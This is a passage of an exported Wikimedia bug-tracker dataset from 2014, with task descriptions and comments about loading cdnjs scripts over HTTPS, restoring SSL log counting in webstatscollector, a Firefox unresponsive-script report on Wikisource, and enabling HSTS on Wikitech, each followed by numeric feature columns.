**Severity**: normal",Needs Triage,90.0,1404814560,1409891521.0,PHID-USER-arjqb24x4oae7awzpfp6,False,,False,PHID-TASK-4u7i6vh2ffs42epbda7c,task_description,declined,True,c3,1,True,False,True,-52,True,2.0,0.0,2.0,0.0,3.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,15.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,5.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,4.065573770491803,0.639344262295082,"URL loads:

* URL
* URL

cdnjs.cloudflare.com supports HTTPS, so I think we should change the protocol to HTTPS, or remove them entirely because I don't see any visual difference between loading them or not.

--------------------------
**Version**: unspecified
**Severity**: normal"
69456,Route SSL traffic again into webstatscollector's filter process,"When emery got decomissioned, erbium around mid-April 2014 had it's
udp2log instance turned from a multicast consumer into a consumer of
only varnishncsa. Hence, since then, erbium only receives logs for the
traffic the ssl terminators cause on the caches, but not the logs for
traffic arriving at the ssl terminators.

However, to correctly count ssl traffic, webstatscollector's filter
(which runs on erbium) relies on seeing the logs at the ssl terminators.

So as a result, ssl traffic was not counted in webstatscollector's
output since mid-April 2014.

Discussing a bit with ottomata, it seems the best way forward [1] [2]
is to try moving webstatscollector's filter to a host that still
consumes the udp2log multicast.

oxygen consumes the udp2log multicast, and does not look overloaded,
so we could try moving webstatscollector's filter there.



----

[1] We could instead turn multicast consumption on erbium on again. But
that would also affect all the other udp2log filters that meanwhile got
added to erbium. So it would cause further issues.

[2] We could update webstatscollector to stop dropping local http
requests from the ssl terminators. That would be nice as it would mean
that the overall picture of the webstatscollector pipeline gets
simpler. However, people are afraid to touch webstatscollector code,
and we want to phase it out anyways.

--------------------------
**Version**: unspecified
**Severity**: normal
**Whiteboard**: u=Community c=General/Unknown p=0 s=2014-06-26",Needs Triage,90.0,1404372780,1404756206.0,PHID-USER-pntojlcbclwhuip53bix,False,,False,PHID-TASK-okeynfxuuorpsm23i3hi,task_description,resolved,True,c3,1,True,False,True,-52,True,0.25,0.0,0.0,0.25,0.75,5.0,0.75,0.0,0.0,0.0,1.75,0.0,0.0,0.5,0.0,1.0,0.25,5.25,8.25,0.0,1.25,0.0,0.5,0.0,1.5,0.0,0.0,0.25,0.75,1.0,0.25,3.25,0.5,1.25,0.25,0.0,0.25,0.25,0.0,0.75,0.0,0.0,0.25,1.25,0.0,0.5,0.0,0.25,0.0,14.25,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.25,0.0,0.0,0.25,0.0,4.75,1.0,5.25,1.25,1.0,5.75,0.0,0.0,0.0,0.0,3.75,0.0,1.5,0.0,2.5,8.25,2.75,0.0,0.0,0.0,2.5,0.0,1.25,1.25,0.0,1.5,0.25,0.25,1.75,4.06875,0.696875,"When emery got decomissioned, erbium around mid-April 2014 had it's
udp2log instance turned from a multicast consumer into a consumer of
only varnishncsa. Hence, since then, erbium only receives logs for the
traffic the ssl terminators cause on the caches, but not the logs for
traffic arriving at the ssl terminators.

However, to correctly count ssl traffic, webstatscollector's filter
(which runs on erbium) relies on seeing the logs at the ssl terminators.

So as a result, ssl traffic was not counted in webstatscollector's
output since mid-April 2014.

Discussing a bit with ottomata, it seems the best way forward [1] [2]
is to try moving webstatscollector's filter to a host that still
consumes the udp2log multicast.

oxygen consumes the udp2log multicast, and does not look overloaded,
so we could try moving webstatscollector's filter there.



----

[1] We could instead turn multicast consumption on erbium on again. But
that would also affect all the other udp2log filters that meanwhile got
added to erbium. So it would cause further issues.

[2] We could update webstatscollector to stop dropping local http
requests from the ssl terminators. That would be nice as it would mean
that the overall picture of the webstatscollector pipeline gets
simpler. However, people are afraid to touch webstatscollector code,
and we want to phase it out anyways.

--------------------------
**Version**: unspecified
**Severity**: normal
**Whiteboard**: u=Community c=General/Unknown p=0 s=2014-06-26"
311814,Route SSL traffic again into webstatscollector's filter process,"The first hourly webstatscollector files after the above merge contain
ssl requests again. Thanks Gage!",,,1404756206,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-okeynfxuuorpsm23i3hi,task_subcomment,,True,c3,1,True,,,-52,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"The first hourly webstatscollector files after the above merge contain
ssl requests again. Thanks Gage!"
311809,Route SSL traffic again into webstatscollector's filter process,"Change 143775 merged by Gage:
Feed logs from ssl terminators again into webstatscollector's filter

https://gerrit.wikimedia.org/r/143775",,,1404750441,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-okeynfxuuorpsm23i3hi,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.157894736842105,1.0,"Change 143775 merged by Gage:
Feed logs from ssl terminators again into webstatscollector's filter

GERRIT_URL"
311801,Route SSL traffic again into webstatscollector's filter process,"As tomorrow (2014-07-04) is a holiday in the US, today (2014-07-03) is the
last working day of this week, and it's bad karma to deploy on the last
working day of a week. So it means that merging the fix will have to wait
until next week. :-/",,,1404410272,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-okeynfxuuorpsm23i3hi,task_subcomment,,True,c3,1,True,,,-52,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,3.0,4.0,1.0,1.0,10.0,0.0,1.0,0.0,0.0,4.0,0.0,9.0,0.0,3.0,13.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,2.8970588235294117,0.6470588235294118,"As tomorrow (2014-07-04) is a holiday in the US, today (2014-07-03) is the
last working day of this week, and it's bad karma to deploy on the last
working day of a week. So it means that merging the fix will have to wait
until next week. :-/"
311793,Route SSL traffic again into webstatscollector's filter process,"Change 143775 had a related patch set uploaded by QChris:
Feed logs from ssl terminators again into webstatscollector's filter

https://gerrit.wikimedia.org/r/143775",,,1404372923,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-okeynfxuuorpsm23i3hi,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.041666666666667,1.0,"Change 143775 had a related patch set uploaded by QChris:
Feed logs from ssl terminators again into webstatscollector's filter

GERRIT_URL"
69404,Scripts run endlessly unless I stop it,"This occurs very frequently when loading a page in the Page: namespace of en.wikisource. I am using the Modern skin, Firefox v30 browser, but I have no other useful info. Thanks



Script: https://bits.wikimedia.org/en.wikisource.org/load.php?debug=false&lang=en&modules=mediawiki.inspect&skin=modern&version=20140701T181553Z&*:2

Script: https://bits.wikimedia.org/en.wikisource.org/load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2CloadingSpinner%2CmwEmbedUtil%7Cmw.MwEmbedSupport&only=scripts&skin=modern&version=20140701T181553Z:4

Script: https://bits.wikimedia.org/en.wikisource.org/load.php?debug=false&lang=en&modules=mediawiki.inspect&skin=modern&version=20140701T181553Z&*:2

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows XP
**Platform**: PC",Needs Triage,90.0,1404264420,1404371058.0,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,False,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_description,resolved,True,c3,1,False,False,True,-53,True,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,24.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,11.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,3.4939759036144578,0.5783132530120482,"This occurs very frequently when loading a page in the Page: namespace of en.wikisource. I am using the Modern skin, Firefox v30 browser, but I have no other useful info. Thanks



Script: URL

Script: URL

Script: URL

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows XP
**Platform**: PC"
309050,Scripts run endlessly unless I stop it,"ineuw, thanks for the comprehensive report. There's already some more information on bug 67420, so I'm going to dupe this one there.

*** This bug has been marked as a duplicate of bug 67420 ***",,,1404371058,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,True,,,-52,True,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,7.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.5,0.782608695652174,"ineuw, thanks for the comprehensive report. There's already some more information on bug 67420, so I'm going to dupe this one there.

*** This bug has been marked as a duplicate of bug 67420 ***"
309047,Scripts run endlessly unless I stop it,I think this and bug 67420 are the same.,,,1404370119,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,True,,,-52,True,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,I think this and bug 67420 are the same.
309044,Scripts run endlessly unless I stop it,"Created attachment 15832
Script triggered a message 3

**Attached**: {F14115}",,,1404370107,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6842105263157894,0.8421052631578947,"Created attachment 15832
Script triggered a message 3

**Attached**: {F14115}"
309041,Scripts run endlessly unless I stop it,"Created attachment 15831
Script triggered a message 2

**Attached**: {F14114}",,,1404370083,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6842105263157894,0.8421052631578947,"Created attachment 15831
Script triggered a message 2

**Attached**: {F14114}"
309035,Scripts run endlessly unless I stop it,"Created attachment 15830
Script triggered a message

**Attached**: {F14113}",,,1404370060,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.8333333333333334,"Created attachment 15830
Script triggered a message

**Attached**: {F14113}"
309029,Scripts run endlessly unless I stop it,"I am attaching three more images of the script problem, one of which is in the main namespace. When the message appears and ""Continue"" is clicked, the the browser hangs. If the ""Stop script"" is clicked, then the message disappears and I can continue working and nothing is lost. I couldn't get the error to kick in while the Network analysis was in view. It's inaccessible when the message pops up.",,,1404369985,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,4.0,1.0,4.0,2.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,11.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,7.0,11.0,5.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,5.0,11.0,2.0,0.0,5.0,0.0,5.0,0.0,4.0,0.0,0.0,2.0,1.0,0.0,0.0,3.8588235294117648,0.6235294117647059,"I am attaching three more images of the script problem, one of which is in the main namespace. When the message appears and ""Continue"" is clicked, the the browser hangs. If the ""Stop script"" is clicked, then the message disappears and I can continue working and nothing is lost. I couldn't get the error to kick in while the Network analysis was in view. It's inaccessible when the message pops up."
309021,Scripts run endlessly unless I stop it,"Here is an additional comment from another Wikisource user that may be helpful:

https://en.wikisource.org/wiki/Wikisource:Scriptorium/Help#Mediawiki_bug.3F",,,1404343627,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Here is an additional comment from another Wikisource user that may be helpful:

URL"
309018,Scripts run endlessly unless I stop it,"The pages which triggered the script messages were as follows:
https://en.wikisource.org/wiki/Page:Popular_Science_Monthly_Volume_21.djvu/886
https://en.wikisource.org/wiki/Page:Popular_Science_Monthly_Volume_21.djvu/887
https://en.wikisource.org/wiki/Page:Popular_Science_Monthly_Volume_21.djvu/888
https://en.wikisource.org/wiki/Page:Popular_Science_Monthly_Volume_21.djvu/889
https://en.wikisource.org/wiki/Page:Popular_Science_Monthly_Volume_21.djvu/890
https://en.wikisource.org/wiki/Page:Popular_Science_Monthly_Volume_21.djvu/891

The editing environment was as follows:

The page was loaded in ""Preview mode"" so that I could edit an incorrect anchor. Then, with each edit, I re-clicked on Preview for not wanting to constantly use ""Save"". I considered that this problem relates to the time of the day (high rate of usage according to my ISP).

Today, I tried again on one of the above pages, unfortunately I didn't see the Firefox ""Network"" stats but I am attaching the screenshot of the event.",,,1404343331,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-53,True,0.5,0.0,0.0,0.5,1.5,2.5,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,5.0,0.0,4.0,11.5,0.0,1.0,0.0,0.5,0.0,5.5,0.0,0.0,1.0,0.5,0.0,1.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,1.0,13.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,0.0,7.0,2.5,14.0,2.0,1.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,5.0,11.5,6.0,0.0,4.0,0.0,5.0,0.0,0.5,0.5,0.0,2.0,0.0,0.0,0.0,3.589423076923077,0.6823317307692307,"The pages which triggered the script messages were as follows:
URL
URL
URL
URL
URL
URL

The editing environment was as follows:

The page was loaded in ""Preview mode"" so that I could edit an incorrect anchor. Then, with each edit, I re-clicked on Preview for not wanting to constantly use ""Save"". I considered that this problem relates to the time of the day (high rate of usage according to my ISP).

Today, I tried again on one of the above pages, unfortunately I didn't see the Firefox ""Network"" stats but I am attaching the screenshot of the event."
309016,Scripts run endlessly unless I stop it,"Created attachment 15819
Script running

**Attached**: {F14112}",,,1404343265,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6875,0.8125,"Created attachment 15819
Script running

**Attached**: {F14112}"
309012,Scripts run endlessly unless I stop it,"* I use Firefox 30 on Fedora 20.
* I've set https://en.wikisource.org/wiki/Special:Preferences#mw-prefsection-rendering to ""Modern"" skin. 
* I go to https://en.wikisource.org/wiki/Page:Scheme_-_An_interpreter_for_extended_lambda_calculus.djvu/14
-> No problems.

How do you know that it ""runs endlessly""? What's the outcome? Do you want to imply that Firefox creates an ""Unresponsive script"" error message?

Could you please open the ""Web Developer -> Network"" Tool and reload the page that you see the problem on? It should display how long a certain script takes.
For more information please see: https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor",,,1404290867,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-efjfuvbrtfhv5qunrj5d,task_subcomment,,True,c3,1,True,,,-53,True,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,4.0,5.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.5,3.0,1.5,0.0,3.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.5,9.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,15.5,3.0,1.0,5.5,0.0,0.0,0.0,0.0,4.5,2.0,1.0,0.0,6.0,5.5,6.0,3.0,5.5,0.0,6.0,0.0,3.0,2.0,0.0,0.0,1.0,0.0,0.5,3.3181818181818183,0.7526936026936026,"* I use Firefox 30 on Fedora 20.
* I've set URL to ""Modern"" skin. 
* I go to URL
-> No problems.

How do you know that it ""runs endlessly""? What's the outcome? Do you want to imply that Firefox creates an ""Unresponsive script"" error message?

Could you please open the ""Web Developer -> Network"" Tool and reload the page that you see the problem on? It should display how long a certain script takes.
For more information please see: URL"
69303,Enable HSTS (HTTP Strict Transport Security) on Wikitech,"**Author:** `fn84b`

**Description:**
Wikitech requires HTTPS connections (http://wikitech.wikimedia.org redirects to https://wikitech.wikimedia.org), so could we send a Strict-Transport-Security header, so that browsers will automatically use HTTPS even if a link points to HTTP?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=38516",Needs Triage,90.0,1404137880,1406086442.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-j2mgvpubnvv6rfcdhoqj,task_description,resolved,True,c3,1,False,False,True,-53,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,6.0,9.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6623376623376624,0.5844155844155844,"**Author:** CODE

**Description:**
Wikitech requires HTTPS connections (URL redirects to URL so could we send a Strict-Transport-Security header, so that browsers will automatically use HTTPS even if a link points to HTTP?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
316955,Enable HSTS (HTTP Strict Transport Security) on Wikitech,"**fn84b** wrote:

https://gerrit.wikimedia.org/r/148290 fixed this issue.",,,1406086442,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j2mgvpubnvv6rfcdhoqj,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.7692307692307693,"**fn84b** wrote:

GERRIT_URL fixed this issue."
316950,Enable HSTS (HTTP Strict Transport Security) on Wikitech,"Wikitech can use a different, easier implementation compared to bug 38516 (wikipedia, etc.). As HTTPS can not be disabled in the preferences and as there is no geoip based blacklist for avoiding HTTPS, HSTS can be enabled by always sending the header like the reporter suggested, e.g. via the webserver configuration. (Although we might be able to use the same implementation it still needs to be enabled as wikitech is completely separated.)

The apache configuration for wikitech is at: operations/puppet.git/templates/apache/sites/wikitech.wikimedia.org.erb",,,1404204890,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-j2mgvpubnvv6rfcdhoqj,task_subcomment,,True,c3,1,True,,,-53,True,0.0,0.0,1.0,3.0,0.5,3.0,2.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,0.5,1.0,0.0,4.5,10.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,3.5,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.5,0.5,1.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,5.0,5.5,4.5,1.0,0.5,5.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,2.0,4.634615384615385,0.7980769230769231,"Wikitech can use a different, easier implementation compared to bug 38516 (wikipedia, etc.). As HTTPS can not be disabled in the preferences and as there is no geoip based blacklist for avoiding HTTPS, HSTS can be enabled by always sending the header like the reporter suggested, e.g. via the webserver configuration. (Although we might be able to use the same implementation it still needs to be enabled as wikitech is completely separated.)

The apache configuration for wikitech is at: operations/puppet.git/templates/apache/sites/wikitech.wikimedia.org.erb"
